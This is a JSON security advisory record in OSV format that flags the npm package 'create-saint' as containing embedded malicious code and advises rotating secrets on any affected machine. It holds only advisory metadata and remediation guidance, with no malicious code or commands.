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{"schema_version":"1.9.2","id":"MAL-2026-20139","published":"2026-11-18T22:05:27Z","modified":"2026-11-18T22:30:04.525232127Z","aliases":["GHSA-cqr8-874q-2g4r"],"summary":"Malicious code in create-saint (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (a511e53f0cd516fdd4f3fa2ae11b1cc668fe75d684b3b823a429633a7634f327)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"create-saint","ecosystem":"npm","purl":"pkg:npm/create-saint"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/create-saint/MAL-2026-20139.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cqr8-874q-2g4r"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-cqr8-874q-2g4r","import_time":"2026-11-18T22:17:33.783667542Z","modified_time":"2026-11-18T22:05:32Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"a511e53f0cd516fdd4f3fa2ae11b1cc668fe75d684b3b823a429633a7634f327","source":"ghsa-malware"}]}}